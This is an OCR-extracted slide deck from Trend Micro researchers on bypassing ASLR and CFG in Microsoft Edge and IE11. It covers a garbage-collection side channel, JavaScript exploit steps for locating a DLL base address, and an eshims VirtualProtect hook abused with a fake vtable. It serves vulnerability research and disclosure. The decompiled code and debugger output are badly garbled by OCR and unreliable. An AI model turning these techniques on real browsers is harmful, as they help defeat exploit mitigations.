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Henry Li

Trend Micro CDC Zeroday discovery Team

Security Researcher

e Six Years Experience

Expert in browser Oday vulnerability
analysis, discovery and exploit.

Won the Microsoft Mitigation Bypass
Bounty in 2016

Won the Microsoft Edge Web Platform on
WIP Bounty

MSRC Top 17 in year 2016

twitter/weibo: zenhumany .
@) TREND



Jack Tang

e @jacktang3l0

e 10+ years security
e Browser

* Document

e Mac/Windows Kernel

e Virtualization

Vulnerability



e Bypass Address Space Layout Randomization (ASLR)

* Bypass Control Flow Guard (CFG)
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Bypass ASLR

* Conservative Garbage Collection Weakness
* Previous research
e Microsoft Improvements

e Overcome Microsoft’ s Improvement
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Conservative Mark—Sweep GC

e Garbage Collect

e Conservative Mark—-Sweep GC

 does not distinguish between data and pointers in the

program at run—time
 Accurate garbage collection

e have the ability to identify all pointers in the

program at run—time



Mark—Sweep: Initialize phase

Root




Mark—Sweep: Mark phase

Root




Mark—-Sweep: sweep phase

Root




Conservative Garbage Collection

1 var str = "hello world"

2 |/ suppose the length equal to the pBuffer
3 var array = new Array( length)

4 str = null;

5 CollectGarbage( );
6
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previous research

e 2009, @yuangel197hH, found the Conservative GC weakness In
TE9

e 2013, Dion, use the timing attack bypass ASLR on flash and

Firefox

e 2013, @galois, use the timing attack bypass ASLR on IEl1l

e 2015, ZDI researcher use an new attack

method (MemoryProtection) bypass the ASLR on IE1l

¢®) TREND


http://weibo.com/ga1ois?refer_flag=1005055013_

/DI research

e Side Channel: Javascirpt out—of—memory exceptions
can reveals information about the state of the

heap.
e MemoryProtection

e Memory Pressure



/DI research

 MemoryProtection

e Free an object allocated from MemoryProtection, not free memory

to the Operation System, add the memory to an waitlist

e Waitlist memory is greater than 100, 000 bytes, then do the free
algorithm.

e Free algorithm: if the waitlist memory address is not in

current stack, free the memory, else not free memory

¢®) TREND



Memory pressuse

/D1 exploit method

Free target memory MemoryProtection

1MB
free

Load dll

Load dll




Microsoft Improvements

e Use MemGC replace the MemoryProtection

e Reduce side channel attack surface



MemoryProtection vs MemGC

e MemoryProtection

e Do Conservative Mark—Sweep GC on Stack, Register

e MemGC

Do Conservative Mark—Sweep GC on Heap, Stack, Register

¢®) TREND
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Reduce side channel attack surface

e [ntroduce Abandonment class in Rendering Engine

 I[ntelligent algorithms for Garbage Collection



Abandonment : : OutofMemory

e When Out of Memory, not throw Out—of-Memory
Exceptions, just crash the current process.

Abandonment::ArithmeticOverflow(void)
Abandonment::AssertionFailed(void)
Abandonment::CheckAllocation(void const ™)
Abandonment::CheckAllocation T <tagSAFEARRAY > (tag...
Abandonment::CheckHRESULT (leng)
Abandonment::CheckHRESULTStrict(long)
Abandonment::Fail(void)
Abandonment:FastDOMInvanantViclation(void)
Abandonment::GCDoubleFree(void)
Abandonment::GCInvalidPointer(void)
Abandonment::iInducelfbandonment{(Abandonment::Ca...
Abandonment:invalidArguments(void)
Abandonment::NotYetlmplemented(void)
Abandonment::OutOfMemory(void)
Abandonment::PostConditionViolated(void)
Abandonment::Querylnterface<IHTMLEIlement CEleme...
R
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Edgehtml

OutOMemary(voi — Lim o [ESEE

srefs to Abandonment:OutOfMemony(void) aie = LEL
Direction Typ Address Text -
Do.. p  CRastDOM:CHTMLUnputElerment: Trampoline_Get_height{veoid *, Calllnfo,void * *)+127 call #outOfMemory@Abandonment@@S0XKE, Abandonm
Do.. p  CRastDOM:CHTMLMarqueeElement:Trampoline_Get_height{void *,Calllnfo,void * *)+141 call #outOfMemory@Abandonment@@S0XKE, Abandonm
Do.. p  CRastDOM:CHTMLObjectElement: Trampeline_Get_height({void * Calllnfo,veid * *)+141 call #FoutOfMemory@Abandonment@@56XKT Abandonrr
Do.. p CRastDOM2CHTMLTableCellElernent: Trampoeline_Get_height{void *, Calllnfo,void * *)+141 call  F0utOfMemnory@Abandonment@ @560 Abandonrr
Do.. p  CRastDOM:CHTMLTableElement: Trampoline_Get_height{void *,Calllnfo,void * *}+141 call  F0utOfMemory@Abandonment@@ 56X Abandon er

il Do.. p  CRastDOMuCHTMLTableRowElement: Trampeline_Get_height{veid *, Calllnfo,void * *)+141  call ?0utOfMemory@Abandonment@@ 56X, Abandonmr Iy
Do.. p  CRastDOMuCHTMLWideoElement: Trampeline_Get_height(void *, Calllnfo,void * *)+127 call F0utOfMemnory@Abandonment@@5GXXZ; Abandonrr
Do, p CRastDOM:CMSHTMLWebViewElement: Trampoline_Get_height{void *, Calllnfo,void * *)+... call T0utOfMemory@Abandonment@@5GxXE Abandonm
Do.. p  CRastDOM:CMSPointerBvent: Trampeline_Get_height(void *, Calllnfo,void * *}+11C call #outOfMemory@Abandonment@@S0XKE, Abandonm

il Do.. p  CRastDOM:CDiagnosticsViewport: Trampeline_Get_heightInPx(void *,Calllnfo,void * *)+F7 call T0utOfMemory@Abandonment@@5GXXE Abandonmr
Do.. p  CRastDOM:CHTMLElement: Trampeline_Get_hidden(veid *, Calllnfo,veid * *)+111 call #FoutOfMemory@Abandonment@@56XKT Abandonrr
Do.. p CRastDOM2CHTMLEmbedElement: Trampeline_Get_hidden(void *,Calllnfo,void * *)+FD call  F0utOfMemnory@Abandonment@ @560 Abandonrr

il Do.. p  CRastDOMu:CHTMLElement: Trampoline_Get_hideFocusiveoid *, Calllnfo,void * *)+108 call F0utOfMemnory@Abandonment@ @567, Abandonrr
Do.. p  CRastDOMuCHTMLMeterElement: Trampoline_Get_high{void *, Calllnfo,void * *)+118 call F0utOfMemory@Abandonment@ @567, Abandonrr

i Do.. p  CRastDOMuCHTMLANnchorElement: Trampeline_Get_host(void *, Calllnfo,void * *)+147 call F0utOfMemnory@Abandonment@@5GXXZ; Abandonrr

[l Do, p CRastDOM:CHTMLAreaElement: Trampoline_Get_host(void *, Calllnfo,void * *)+147 call #F0utOfMemory@Abandonment@@50XKT, Abandonm

i Do.. p  CRastDOM:CHTMLAreaElement: Trampoeline_Get_hostname(void *, Calllnfo,void * *)+148 call #outOfMemory@Abandonment@@S0XKE, Abandonm
Do.. p  CRastDOM:CCSSImpoertRule:Trampeline_Get_href(void *, Calllnfo,void * *)+124 call #outOfMemory@Abandonment@@S0XKE, Abandonm

i Do.. p  CRastDOM:CHTMLAreaElement: Trampeline_Get_href{void *, Calllnfo,void * *)+13F call #FoutOfMemory@Abandonment@@56XKT Abandonrr
Do.. p  CRastDOMzCHTMLBaseElement: Trampoeline_Get_href(veid *, Calllnfo,void * *)+13F call  F0utOfMemnory@Abandonment@ @560 Abandonrr

i Do.. p  CRastDOMzCHTMLAnchorElement: Trampoline_Get_hreflang{veid *,Calllnfo,void * *)+FD call F0utOfMemnory@Abandonment@ @567, Abandonrr
LEl M n CFactNbA=TCHTRA | inkFlermentTramnnline (et hrn-FI":rnnfuniH*f"nllTnFnuniH**‘l-a-I:ﬁ rall ?f"h|H"I~Fh.|'|.=~mnru|ﬁ|.|!|.h=n|dnnm.:-ni-lﬁllﬁl’-'.‘ﬁ'l{!?- .ﬁ.h:nr{nn;-r i
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Abandonment : : OutOfMemory

@Pld B376 - WinDbg:10.0,14321,1024 X286 O - function 'tESt()

File Edit View Debug Window Help _[

5 | 1 ]

Dizassembly ﬂ //2M

Offset: (@S scopeip | Previous | | Newt for( i=1;i<©x200000/4-5;i++)

Vo pricr disassembly possible = + 1. i 4+ Mo
7h1d424cl 758 j11E KERHELBASE | CutputDebugStringh+0xite (75142448 I gC_COOF‘dS gC_COOF‘dS 1 toS‘tr‘lng() r
75142403 do des  esp gc_coords = gc_coords + "1018";
701424c4 2454 and al,.5dh

751424ch 33co HOT ECH, ESD

751424c8 281820500 call KERNELBASE! =ecurity check cookie (751950e5)

array_area = [];

Command . tl“y{

ce=001b ===0023 d==0023 e==0023 {==003b g==0000 ef1=0020024¢6 A : _ Qe .

KERNELEASE | aiscExcept iont 0x61 for( var 1=0;i<0x3000;i++)
751424c1 758b ine KERNELBASE | OutputDebugStringd+0x2ee (7514244e2) [br=0] {

0:012: kv

# ChildEBP Retiddr Args to Child temp_area = document.createElement("area");
00 08ctbf90 5o89925a A0000003 00000001 OO0OOOQOO1 -

01 08cfc02?8 Schoeddd dddi7013 Sc7d4edad 000003ea temp_area.shape = "poly”;

02 08cfc030 Scfdedad 000003ea 0798LE40 07980540

03 Dfcfcl4c Sc2Scich 7cSf0020 0798540 03ciclad i s M ; temp_area.coords = gc_coords;
04 08cfclbc Scef9eh2d 7c5f0020 08cfcObS 00000000 edgehthCHyperllnk SEtcunrdsHelper+DHlf (FFQ: [Hon-Fpol) . .

05 08cfclad Sc549abc 000003sa 00000000 5bf61754 edgehtnl!CireaElement :  OnPropertyChange+0z68 (FPO: [3.11.4]) array_area[1] = temp_area;

06 08cfcl3d SeeY9=?7b 74390024 0798b540 0798b550 edgehtml |BASICPFROPPARAMS: :SetStringProperty+0x3bic (FPO: [Hon }

07 08cfclb0 Sce%abf8d 74390024 08cfcl?4 00000000 edgehtml!CAreaElement : :Setcoords+0xzlb (FPO: [Hon-Fpo])

08 08cfcled ScabZbal 7d390024 08cfclbf Schitafl edgehtml!CHyperlink: :SetdidandcoordsHelper+0x?b (FPO: [Hon-Fp ].

09 08ctfcl90 Scefebll 1e150b80 02000002 O8cicidid edgehtml!CFastDOM: : CHTHLAreaElement : :Trampoline Set_coords+(]

Oz 08cfclad SbbB47230 1=150B20 02000002 08cicl?Zd edgehtml|CFastDOM:  CHTHLAresElement : Profiler Set_coords+0zxl catch(e)

b 08cfc2ld Shaacadl 1=150b80 02000002 12159440 chakralls: :JavascriptEzternalFunction: :ExternalFunctionThunk

Oz 08cfc?d4l Shabectb 07884850 08cfcii4 08cfc?98 chalkral<lambda_sabefd?eald2?07db07e6d0a971cd?0r : operator( ) -[

0d 08cfc?b0 Sbb308c7 1=150b80 00000000 07884a50 chakralThreadContext: :ExecutelnplicitCalle<<lambda_aabeddZea " "

0= 08cfc?98 Sha?1096 12140420 07884250 12159440 chakrallJs::JavascriptOperators: :CallSetter+0x49 (FPO: [Hon-F aler‘t( out of memory );

0f 08cfc?bd Sha?ldZa 00000546 1eld0420 07884a50 chakralls: :Cachelperators:  TrySetPropertyel.1,1,1,1.1,0,1:+0

10 08cfc3l8 Sba?4a82 0£56c098 00000003 1el40420 chakra!Js: ProfilingHelpers:  ProfiledStFld<0:+0=zaa (FPO: [Ho }

11 (8cfcddd Sba?8def 1ldasldd 118c0240 08cfcdel chakralls: :InterpreterStackFrame: 0P _ProfiledSetPropertyv<Js: }

17 08cfc3?8 Shavefed flaZatf?e 00000000 08cfcdkl chakralls::InterpreterStackFrame: ProcessProfiled+0x29f (FFO




Intelligent algorithms for garbage

collection

e In Microsoft Edge, when call CollectGarbage ( )
function from the Javascript , the engine decides
whether perform garbage collection based on a set
of algorithm. So you can not real-time triggering
GC to Collect Garbage.

¢®) TREND
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Microsoft Edge CollectGarbage

enum HostType

{

s

HostTypeDefault = @ // Used to detect engines with uninitialized host type.
HostTypeBrowser = 1, /f{ Currently this implies enabled legacy language features, use it for IE.

HostTypelpplication = 2, [/ Currently this implies legacy-free language features, use it for WWA.

HostTypellsbview = 3, [/ Webview in a WWA/XAML app with WinRT access.
HostTypeMin = HostTypeBrowser,
HostTypeMax = HostTypeWebview

int _ cdecl Js::GlobalObject::EntryCollectGarbage{int a1t}

{

int
int
int
int
v

Thyr
£

i

i
if
{

i

?

ret

vi; // ecxzi@
config; // esii@d
hostType; /F/ eazi@?2
wh; FF ecxi@h

= #(_ DWORD =){={_ DWORD =){={ DWORD =){al + 4) + 8} + Bx218);
eadContext::ProbeStack(={ThreadContext ==)}{ui1 + 692), Bx48Bu, (struct Js::ScriptContext =)ui, B);
ScriptContext::GetConfig

i = s*f DUNED =Y f*f DUNBD =Yf*f DUNBD *3{a1 + + B + [zP18
config offset Bx3Bc is CollectGarbageEnabled flag,
in browser host, will be set to zero
{ #=( BYTE #=){config + @=38C) || (hostType = ={ DWORD =){config + Bx318), hostType == 2} || hostType == 3 }

F { vh && ®{ DUWORD =){uvl + L) *= 131872 && t=( BYTE =){vi + BxP8CB) )
Memory: :Recycler::CollectInternal< 1873442816>();

urn *={ DWORD =){={ DWORD =)config + 588);




Evaluate Microsoft s improvements

e Can prevent zdi’ s exploit method

e Still used the conservative mark—sweep GC algorithm

management memory

* Did not solve the problem from root cause



Bypass ASLR

e New side channel Attack Surface
e Real—time triggering GC

* Bypass ASLR



New side channel Attack Surface

* When use the following code to alloc an ArrayBuffer, if
process don’ t have Contiguous block of memory is larger
than the alloc size, it will throw out of memory
Exception. So use the following code, we can detection

the state of the heap.

try{
var ab = new ArrayBuffer( alloc_size )
}
catch(e)
1
alert(e.toString(e)); @IBEEB

} -



ArrayBuffer allocate memory

st zArrayBuffer = thiscall Js::ArrayBuffer::ArrayBuffer{Js::ArrayBuffer =this, size t allocSize, struct Js::DynamicType =a3, Hemory::DefaultRecyclerCollectionWrapper =al)
4

i

#({ WORD =)pArrayBuffer + 16) = 8;
=({_BYTE =)pArrayBuffer + 34) = 8;
*®({ DWORD =)pArrayBuffer + 6) = B;
*#{{ DWORD =)}pArrayBuffer + F) = B;
#={_DWORD =)pArrayBuffer = Js::ArrayBuffer::_vftable_;
if { allocSize > B8x4O00O0000 )
Jsz:JavascriptError: :ThrowTypeError{@, uvd, uvif);
if { allocSize )

I it - - —r ———r sz

1
uill = ={ DWORD =){*{ DWORD =){={{ DWORD s=)pArrayBuffer + 1) + 8) + Suh});
if { (unsigned  int8)Hemory::PageAllocatorBase<Hemory::UirtualallocWrapper>::RequestAlloc{allocSize) )
{
__gquard_check_icall fptr{al)};
ut = ({int { cdecl =)}{size t))ad)(allocSize);
if { &u2 = g&uo )
__asm { int 29h ; Win8: RtlFailFast(ecx)
*{{_ DWORD =)pArrayBuffer + 6) = vu5;
if { tus )
{
Hemory::Recycler::CollectHow<4B48527395();
__guard_check_icall fptr{ah);
v = {{int {_ cdecl =){size_t})ak){allocSize);
if { &uo t= Eud )
__asm { int 29h ; Win8: RtlFailFast{ecx) 3}
#{{_DUWORD =)pArrayBuffer + 6) = ul;
if { tug )
Hemory::PageAllocatorBase<HMemory: :UirtualAllockrapper>::ReportFailuref{allocSize);
¥
L
if  t*{{ DWORD =)pArrayBuffer + &) )}
{
Js::zJavascriptError: :ThrowlutOfHemoryError {{struct Js::ScriptContext =)u9};
__fdebugbreak{};
JUMPOUT{1loc_ 182ECCT8);
H
vo = (void =)=({_DWORD =)pArrayBurter + 0);
={{ DWORD =)pArrayBuffer + 7) = allociize;
memset{v6, B, allocSized;
b
return pArrayBuffer; W

¥



Real-time triggering GC

 In Chakra Engine, the CollectGarbage Function do

nothing, when you call it, it won’ t Collect the
Garbage.

e [n Chakra Engine, function

memory: :recycler: :largealloc<0> alloc large

memory, when you allocate an memory by
largealloc<0>, it will check the GC manager’ s

Memory whether meet the needs of users to

allocate memory. if not, it will trigger mark-—

sweep Garbage Collect immediately. @IBEQE



LargeAlloc

int  thiscall Hemory::Recycler::LargefAlloc<B8>{void =*this, int a?, int a3, int aX)
{
int ul; fF esilEd
void =u5; /f ebx@E1
int result; 7/ eax@l
void (=07 {void); /7 ediE@h
int v8; /7 [sp+Bh] [bp-14h]@k
int v9; /7 [sp+18h] [bp-4h]@3

Ul = a3;

ut this;

result = Memory::Recycler::TryLargeAlloc{aZ?, a3, alk, B@);
if { tresult )

{

Zf TryLargeflloc alloc memory fail, call CollectHouw

Memoruy :

U9 = result;

if { tresult )

{
ufé = (uoid (=)(void))=({ DWORD =)uS + 11895);
__guard_check_icall fptr{={({ DWORD =)u5 + 11895));
uigd;
if { &8 = BUB )

__asm { int 20h ; WinB: RtlFailFast{ecx) }

result = w9;
Ul = a3;

¥

b
*#{{ DUODRD =)ub + N2F7) += ul;

t 1t;
}r‘e urn resu ) TREN
) MICR




myCol lectGarbage

function myCollectGarbage( )

{
try{
gc _slice = gc _memory.slice(9,gc_memory.length);
}
catch(e)
{
var message = e;
}
}



Exploit step in IEl1

Suppose the size of the dll which will be loaded in process is target vm size
1.Allocate memory in a pattern:

1>Allocate target memory : Allocate a regions which the virtual address space size is
target vm size, and the virtual address space’ s begin address(call it target address) is
belongs to [guess begin address, guess end address], call this memory target memory.

2>Do memory pressure : Allocate memory, make sure there is not a continuous vm space
which size is greater than target vm size.

2.Create an spointer array, save the address which in [guess begin address,
guess end address] and the address%0x1000 is zero.

3. freed the target memory, called myCollectGarbage( ).
4. Calculate the target address
Traverse spointer array, for each index in array, do the following things:

1> Set spointer array[index] = 0;

continue to next loop.Else, load dl1 success, the target address equal guess begin
+ index*0x1000

™

2> Load the target dl1 to process in try/catch statement, if it throw an excep%
/] 0

TREN
MICR
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Calculate the target address




Exploit:Memory presuue

arraybuffer_address =
target _address




Exploit:Data reference to target memory

Code in IE1l1

var index = 9;
for(var tempAddr = guess_begin_address; tempAddr<guess_end_address;
tempAddr = tempAddr + 0x1000)

{
spointer_array[index] = tempAddr;
index = index + 1;



Exploit: two references

arraybuffer_address =
target_address

array[target_index] =
target_address

¢®) TREND



Exploit: arraybuffer free

array[target_index] =
target_address

¢®) TREND
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Exploit: Calculate the target address

*Code 1n IEIll

for(var i=0;i<spointer_array.length;i++)
{
spointer_array[i] = 0;
myCollectGarbage( );

try{
var ab = new ArrayBuffer( target_vm_size);

}
catch(e){}



Exploit: Calculation target address

New attempt to allocate 1MB New attempt to allocate 1MB
results: out-of-memory exception results:succeds
TREND
\ ') MICRDO



Exploit:target memory free




Exploit: Load dll

dll_base_address =
guess_start_address +
target_index*0x1000



Demo 1:Bypass ASLR in Microsoft Edge




Demo 2: Bypass ASLR In IEll on Windows 10




The impact of this weakness

e Affect All the Microsoft Browser use the Conservative GC
e Microsoft Edge in Windows 10

e Internet Explorer 8,9, 10,11 on all windows platform



* Bypass CFG
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Why we need CFG bypass vulnerability

Before CFG After CFG
| xchgeaxespretn

CFG Check

EAX

o Z
in



Eshims bypass CFG

e eshims!VirtualProtect to bypass CFG and DEP
 Vuln Type: Call Sensitive API out of context
* Module: Eshims

* Operation System: Windows 10 14367 32 bit

« BYPASS CFG/DEP



Eshims Architecture in Microsoft Edge

AP| CALL

COM IPC
-COM OBJECTS CALL

APl CALL
(Sandboxed)




Eshims hook functions

 eshims.dl]l is a module in Microsoft Edge

 eshims have following hook functios, the functions
are CFG valid.

EShimsINS ACGLockdownTelemetry:: APIHook _VirtualProtect

EShimsINS ACGLockdownTelemetry::APIHook _VirtualAllocEx

EShimsINS ACGLockdownTelemetry:: APIHook _WriteProcessMemory
EShimsINS ACGLockdownTelemetry:APIHook MapViewOfFileEx
EShimsINS_ACGLockdownTelemetry::APIHook _VirtualProtectEx
EShimsINS_ACGLockdownTelemetry::APIHook _MapViewOfFile

EShimsINS ACGLockdownTelemetry::APIHook SetProcessValidCallTargets




Eshims exploit

NS _ACGLockdownTelemetry: :APIHook VirtualProtect CDOMTextNode: : substringData
( (
LPVOID lpAddress, CDOMTextNode* this,
SIZE_T duwSize, int offset,
DWORD f1NewProtect, int count,
PDWORD lpfloldProtect, char** ppNewString
) )

; _int32 stdcall CDOWMTextHode::substringData{CDOMTextHode =this, int32, int32, unsigned  int16 ==x)
?substringData@CDOMTextHode@R)AGJJJPAPAGEZ proc near
; CODE XREF: CDOMTextHode::ie? substringData{long,long,ushort = *]+ﬁTj
; DATA XREF: .text:1B15EDS4T0



Eshims exploit

vFakeTable

—
I
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